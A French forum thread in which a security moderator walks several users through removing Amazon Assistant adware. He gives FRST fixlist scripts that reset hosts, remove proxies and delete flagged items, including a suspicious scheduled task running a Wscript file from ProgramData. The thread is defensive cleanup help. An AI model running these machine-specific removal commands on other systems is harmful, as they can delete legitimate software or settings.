Je te conseille de désinstaller Spybot, pas super efficace, selon moi. ( Adwares : Antispyware comment ne pas désinfecter son Windows )
En plus il se charge au démarrage, ce qui peut ralentir le démarrage.

puis :

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :

CreateRestorePoint:
CloseProcesses:
CHR Extension: (Search Manager) - C:\Users\Tizzeur\AppData\Local\Google\Chrome\User Data\Default\Extensions\nahhmpbckpgdidfnmfkfgiflpjijilce [2017-04-07]
R2 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
Task: C:\WINDOWS\Tasks\Yahoo! Powered timol.job => Wscript.exe C:\ProgramData\{506E950D-DA2C-1FCB-5CEA-8189C6A80A47}\fire.txt <==== ATTENTION
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:


Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.


2°)
Réinitialise/Répare les navigateurs WEB concernés par les problèmes :
Bonjour, je suis aussi embêtée par Amazon assistant, voici les liens:

http://pjjoint.malekal.com/files.php?id=FRST_20170531_v14q10o11h8b10

http://pjjoint.malekal.com/files.php?id=20170531_x5r9k6c11p12

http://pjjoint.malekal.com/files.php?id=20170531_w14d7s14v15d5

Merci d'avance pour votre aide!
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Ca commence à devenir ingérable, veuillez svp créé vos propres sujets.

Ce sujet a été fermé suite à un trop grand nombres de demandes.

Si vous avez besoin d'aide, veuillez créer votre propre sujet en allant dans la partie Virus du forum et en cliquant sur le bouton Poser une question.
Remplissez les champs et envoyer votre demande.



Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Salut,

Suis le tutoriel FRST. ( prends le temps de lire attentivement - tout y est bien expliqué ).

Télécharge et lance le scan FRST, 3 rapports FRST seront générés :
  • FRST.txt
  • Shortcut.txt
  • Additionnal.txt


Envoie ces 3 rapports sur le site http://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Amazon Assistant est présent dans ta liste des programmes.
Panneau de configuration > Programmes et fonctionnalités.

désinstalle : Amazon Assistant

et aussi ces deux programmes qui ne servent à rien :
Intel® Security Assist
McAfee Security Scan Plus


si impossible :

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :

CreateRestorePoint:
CloseProcesses:
R2 Amazon Assistant Service; C:\Program Files (x86)\Amazon\Amazon Assistant\amazonAssistantService.exe [102064 2017-02-28] ()
2017-03-01 22:34 - 2017-03-01 22:34 - 00002275 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AmazonAssistant.lnk
2017-03-01 22:34 - 2017-03-01 22:34 - 00000000 ____D C:\Program Files (x86)\Amazon
2017-02-14 22:04 - 2017-02-14 22:05 - 04121760 _____ (Husdawg, LLC) C:\Users\Jérôme\Downloads\Detection.exe
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:


Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.
j'ai aussi amazon assistant dans mes programmes et je souhaite le supprimer donc voici les liens: http://pjjoint.malekal.com/files.php?id=20170318_o7y7b5f9z13

http://pjjoint.malekal.com/files.php?id=FRST_20170318_e11o8d8e8u15

http://pjjoint.malekal.com/files.php?id=20170318_f11c14s12e15t12
Messages postés
180117
Date d'inscription
mercredi 17 mai 2006
Statut
Modérateur, Contributeur sécurité
Dernière intervention
4 octobre 2020
22 287
Salut,

Panneau de configuration
programmes et fonctionnalités.
Désinstalle : Amazon Assistant

Après assure toi de ne pas avoir amazon.com en ouverture de navigateur WEB ou en paramètres de moteur de recherche.

Si c'est le cas :

Réinitialise/Répare les navigateurs WEB concernés par les problèmes :